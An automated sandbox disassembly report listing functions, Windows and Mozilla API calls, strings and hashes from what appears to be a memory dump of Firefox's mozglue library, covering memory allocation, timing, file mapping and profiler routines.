Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: c16c108da85495d138bdfa5d9eafafd0181be68ad01cba6c3af4c997b7157953
Instruction ID: 02084677bbf83ff4bfe6a66e4285fa1c27974dfd8ee5c6dfe38283eb42bba606
Opcode Fuzzy Hash: c16c108da85495d138bdfa5d9eafafd0181be68ad01cba6c3af4c997b7157953
Instruction Fuzzy Hash: 8DB1D2B0A012099BDB04CFA8DA517EEBBB9FF85318F148119D505ABF80D73199D9CBE0

Function 6CA2C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA2C5A3
WideCharToMultiByte.KERNEL32 ref: 6CA2C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CA2C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CA2CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA2CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA2CAA5

Strings

(null), xrefs: 6CA2C596
0, xrefs: 6CA2D30A

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: b0721b7ed9eff9834c214dc1fdaba376cec2bcbdecc421e97c44a9a95a26a4a3
Instruction ID: 7d889ca5a1476119b27b0e5be4ee72addc4b308be3174cf95e3960a4858f4501
Opcode Fuzzy Hash: b0721b7ed9eff9834c214dc1fdaba376cec2bcbdecc421e97c44a9a95a26a4a3
Instruction Fuzzy Hash: 96A1BE306093628FEB14DF28C54475ABBF1BF89748F1C891DE88997742DB39D885CB92

Function 6CA03480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CA03284,?,?,6CA256F6), ref: 6CA03492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CA03284,?,?,6CA256F6), ref: 6CA034A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CA03284,?,?,6CA256F6), ref: 6CA034EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CA0350E
__Init_thread_footer.LIBCMT ref: 6CA03522
__aulldiv.LIBCMT ref: 6CA03552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CA03284,?,?,6CA256F6), ref: 6CA0357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CA03284,?,?,6CA256F6), ref: 6CA03592

Part of subcall function 6CA3AB89: EnterCriticalSection.KERNEL32(6CA8E370,?,?,?,6CA034DE,6CA8F6CC,?,?,?,?,?,?,?,6CA03284), ref: 6CA3AB94
Part of subcall function 6CA3AB89: LeaveCriticalSection.KERNEL32(6CA8E370,?,6CA034DE,6CA8F6CC,?,?,?,?,?,?,?,6CA03284,?,?,6CA256F6), ref: 6CA3ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6CA03508
kernel32.dll, xrefs: 6CA034EA

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 89ca91593cec42bac466ef5de32f2cb135a39bd81ae2ec27786c700ffd5f2350
Instruction ID: 4df64eb0116b6e599be78bb79cb5f036f0c61872638c2448013ba11b5ca1526b
Opcode Fuzzy Hash: 89ca91593cec42bac466ef5de32f2cb135a39bd81ae2ec27786c700ffd5f2350
Instruction Fuzzy Hash: BB31A070B022479FDF08DFB5ED58EAA7375FB46348F108229E545E3660DA34A946CB60

Function 6CA04480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CA44843,?), ref: 6CA045F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CA44843,?), ref: 6CA0468A
free.MOZGLUE(?,?,?,?,?,?,6CA44843,?), ref: 6CA046C9
free.MOZGLUE(?), ref: 6CA046EF
free.MOZGLUE(?), ref: 6CA04712
free.MOZGLUE(?), ref: 6CA04735
free.MOZGLUE(?), ref: 6CA04758
free.MOZGLUE(?), ref: 6CA0477B
free.MOZGLUE(?), ref: 6CA0479E

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 81276294f87fdf27863f29398869639cfc4df2a10848423065322a59463e2043
Instruction ID: 4e0b21d2e5e4ebcc720853178eb9a21fa40fb815b002883b140565945229d735
Opcode Fuzzy Hash: 81276294f87fdf27863f29398869639cfc4df2a10848423065322a59463e2043
Instruction Fuzzy Hash: 17B10571B001108FDB189E3CE9A476D77B2BF5236CF184A68E416DBB96E73198C48B81

Function 6CA6AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CA6AC52
CreateFileMappingW.KERNEL32 ref: 6CA6AC7D
GetSystemInfo.KERNEL32 ref: 6CA6AC98
MapViewOfFile.KERNEL32 ref: 6CA6ACB0
GetSystemInfo.KERNEL32 ref: 6CA6ACCD
MapViewOfFile.KERNEL32 ref: 6CA6AD05
UnmapViewOfFile.KERNEL32 ref: 6CA6AD1C
CloseHandle.KERNEL32 ref: 6CA6AD28
UnmapViewOfFile.KERNEL32 ref: 6CA6AD37
CloseHandle.KERNEL32 ref: 6CA6AD43
CloseHandle.KERNEL32 ref: 6CA6AD67

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 79b2b5d863c687f4cea1b40ffc301795779eeffa7c91736c606ce1f757c634fa
Instruction ID: 7cf37d2ccd1c6dfb2490d3b58087b339fc3bb1170a0ae22fff07468a0338a408
Opcode Fuzzy Hash: 79b2b5d863c687f4cea1b40ffc301795779eeffa7c91736c606ce1f757c634fa
Instruction Fuzzy Hash: 523184B1905706CFDB04AF79DA4825EBBF1FF45305F018A2DE98587611EB709889CB92

Function 6CA19620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CA19675
__Init_thread_footer.LIBCMT ref: 6CA19697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CA196E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CA19707
__Init_thread_footer.LIBCMT ref: 6CA1971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA19773

Part of subcall function 6CA3AB89: EnterCriticalSection.KERNEL32(6CA8E370,?,?,?,6CA034DE,6CA8F6CC,?,?,?,?,?,?,?,6CA03284), ref: 6CA3AB94
Part of subcall function 6CA3AB89: LeaveCriticalSection.KERNEL32(6CA8E370,?,6CA034DE,6CA8F6CC,?,?,?,?,?,?,?,6CA03284,?,?,6CA256F6), ref: 6CA3ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CA197B7
FreeLibrary.KERNEL32 ref: 6CA197D0
FreeLibrary.KERNEL32 ref: 6CA197EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA19824

Strings

NtMapViewOfSection, xrefs: 6CA19701
ntdll.dll, xrefs: 6CA196E3
MapViewOfFileNuma2, xrefs: 6CA197B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CA19670

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: afedf129c7609420afdf9e0c4d8b1b52ea9a1248c7ff8043bdfc13e4f0b81226
Instruction ID: 472200fa95d5b6c9777226e6641f35ed21130446c56ee7fcd65f657a2aed0b04
Opcode Fuzzy Hash: afedf129c7609420afdf9e0c4d8b1b52ea9a1248c7ff8043bdfc13e4f0b81226
Instruction Fuzzy Hash: CA419F74A023079FEF04CFA4ED94A9677B5FB4A314F148528ED55D7B40E730A88ACBA1

Function 6CA01E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA8E784), ref: 6CA01EC1
LeaveCriticalSection.KERNEL32(6CA8E784), ref: 6CA01EE1
EnterCriticalSection.KERNEL32(6CA8E744), ref: 6CA01F38
LeaveCriticalSection.KERNEL32(6CA8E744), ref: 6CA01F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CA01F83
LeaveCriticalSection.KERNEL32(6CA8E784), ref: 6CA01FC0
EnterCriticalSection.KERNEL32(6CA8E784), ref: 6CA01FE2
LeaveCriticalSection.KERNEL32(6CA8E784), ref: 6CA01FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA02019

Strings

MOZ_CRASH(), xrefs: 6CA02000

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: e78aefaff83e7cd71ccd0772b8bdaa5a4b8bcee05b37593ed1fd46637ac95ced
Instruction ID: 6f83d1b66b5ef994109012fbb224fb8d97d984cbbe5758a02fc0a48f5ea0838c
Opcode Fuzzy Hash: e78aefaff83e7cd71ccd0772b8bdaa5a4b8bcee05b37593ed1fd46637ac95ced
Instruction Fuzzy Hash: 7541D475B02316DFDF049FA8DC84BAA37B5EF4A34CF044125EA0597740D77198458BE5

Function 6CA17E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA17EA7
malloc.MOZGLUE(00000001), ref: 6CA17EB3

Part of subcall function 6CA1CAB0: EnterCriticalSection.KERNEL32(?), ref: 6CA1CB49
Part of subcall function 6CA1CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CA1CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CA17EC4
mozalloc_abort.MOZGLUE(?), ref: 6CA17F19
malloc.MOZGLUE(?), ref: 6CA17F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA17F4D

Strings

d, xrefs: 6CA17F89

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 393fb5632a7e4e68fc5e45b66cb47aa2798a20804f0ac7d249e805fd526a6eb5
Instruction ID: cf25eb96d19d35ca493936a5488868f686f607b76127a18ea76bbf41c8756813
Opcode Fuzzy Hash: 393fb5632a7e4e68fc5e45b66cb47aa2798a20804f0ac7d249e805fd526a6eb5
Instruction Fuzzy Hash: 9C312771E0475997DB019B28DD045FEB778FF96208F449628EC499BA12FB30A6C9C3A0

Function 6CA13E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CA13EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA13FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CA14006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA140A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CA13CCC), ref: 6CA140AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CA13CCC), ref: 6CA140C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA14134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CA13CCC), ref: 6CA14143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CA13CCC), ref: 6CA14157

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 48ccadef5ecb0aa594c6450b6f1302b3d0336b61da09cf25cf1ba047c3e3a568
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 09A1ACB5A04205CFDB50CF29C98075AB7F5FF48318F2941A9D909AFB42D775E886CBA0

Function 6CA59D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA58273), ref: 6CA59D65
free.MOZGLUE(6CA58273,?), ref: 6CA59D7C
free.MOZGLUE(?,?), ref: 6CA59D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA59E0F
free.MOZGLUE(6CA5946B,?,?), ref: 6CA59E24
free.MOZGLUE(?,?,?), ref: 6CA59E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA59EC8
free.MOZGLUE(6CA5946B,?,?,?), ref: 6CA59EDF
free.MOZGLUE(?,?,?,?), ref: 6CA59EF5

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 0a8315743b080752f00963139604a1f6c49e3911a3aa25ac28f35af46e86d3c3
Instruction ID: df3c9ff07d63b1ac37ad62a346d9d02d34cdfb3dfe0fbdd7176041fddf7e62a5
Opcode Fuzzy Hash: 0a8315743b080752f00963139604a1f6c49e3911a3aa25ac28f35af46e86d3c3
Instruction Fuzzy Hash: FE7190B1909B419BD712CF28C64056BF3F5FF99315B889619EC5A5B701EB30E8CACB81

Function 6CA5DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CA5DDCF

Part of subcall function 6CA3FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA3FA4B

Part of subcall function 6CA590E0: free.MOZGLUE(?,00000000,?,?,6CA5DEDB), ref: 6CA590FF
Part of subcall function 6CA590E0: free.MOZGLUE(?,00000000,?,?,6CA5DEDB), ref: 6CA59108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA5DE0D
free.MOZGLUE(00000000), ref: 6CA5DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA5DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA5DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA5DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CA4DEFD,?,6CA14A68), ref: 6CA5DF32

Part of subcall function 6CA5DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA5DB86
Part of subcall function 6CA5DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA5DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CA4DEFD,?,6CA14A68), ref: 6CA5DF65
free.MOZGLUE(?), ref: 6CA5DF80

Part of subcall function 6CA25E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA25EDB
Part of subcall function 6CA25E90: memset.VCRUNTIME140(6CA67765,000000E5,55CCCCCC), ref: 6CA25F27
Part of subcall function 6CA25E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA25FB2

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 6bb5f8a44e508fb2dac058844dc201905ac03e3aab31bc68688141459d956dfb
Instruction ID: c648685b749ba3a3b35bbe151452bc99192f41bdaff0c1166b016e92c547dced
Opcode Fuzzy Hash: 6bb5f8a44e508fb2dac058844dc201905ac03e3aab31bc68688141459d956dfb
Instruction Fuzzy Hash: 6851C772F017119BD7119B28DA806AE7372BF91748FD9851CD81A53B00D731F8AECB82

Function 6CA65D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CA65C8C,?,6CA3E829), ref: 6CA65D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CA65C8C,?,6CA3E829), ref: 6CA65D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CA65C8C,?,6CA3E829), ref: 6CA65D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CA65C8C,?,6CA3E829), ref: 6CA65D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CA65C8C,?,6CA3E829), ref: 6CA65DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CA65C8C,?,6CA3E829), ref: 6CA65DC9
std::_Facet_Register.LIBCPMT ref: 6CA65DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CA65C8C,?,6CA3E829), ref: 6CA65E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CA65C8C,?,6CA3E829), ref: 6CA65E45

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 2bd5b61f487ecc3313b7c6b934a8a8dd0c567d9e55dff7363b2adfa49df4fef0
Instruction ID: 4fccff2da5cd6f8d267fc72221f83672bce17a29a3ce3949f0cef9befd751e08
Opcode Fuzzy Hash: 2bd5b61f487ecc3313b7c6b934a8a8dd0c567d9e55dff7363b2adfa49df4fef0
Instruction Fuzzy Hash: C44171747003069FDB04DF65C898AAD77B5BF89314F488168D50A97B92DB30DC46CB61

Function 6CA3CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CA031A7), ref: 6CA3CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CA3CFA4, 6CA3CFB8
<jemalloc>, xrefs: 6CA3CF9F, 6CA3CFB3

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 6fe31aeb331cec2661d8d0783f0eba70e04923e4d276ee5975cc5f078fd60a8f
Instruction ID: 4ff43b2b4a37e90818622450482ac50418f965a1a62de868899597a30d9f984f
Opcode Fuzzy Hash: 6fe31aeb331cec2661d8d0783f0eba70e04923e4d276ee5975cc5f078fd60a8f
Instruction Fuzzy Hash: 1E31E7307413365BEF04AEA98C65B6E7775AF4170CF349214F618EB6C0DB70D88187A1

Function 6CA0ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA0F100: LoadLibraryW.KERNEL32(shell32,?,6CA7D020), ref: 6CA0F122
Part of subcall function 6CA0F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA0F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CA0ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA0EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CA0EDCC
CreateFileW.KERNEL32 ref: 6CA0EE08
free.MOZGLUE(00000000), ref: 6CA0EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CA0EE32

Part of subcall function 6CA0EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CA0EBB5
Part of subcall function 6CA0EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CA3D7F3), ref: 6CA0EBC3
Part of subcall function 6CA0EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CA3D7F3), ref: 6CA0EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CA0EDC1

Memory Dump Source

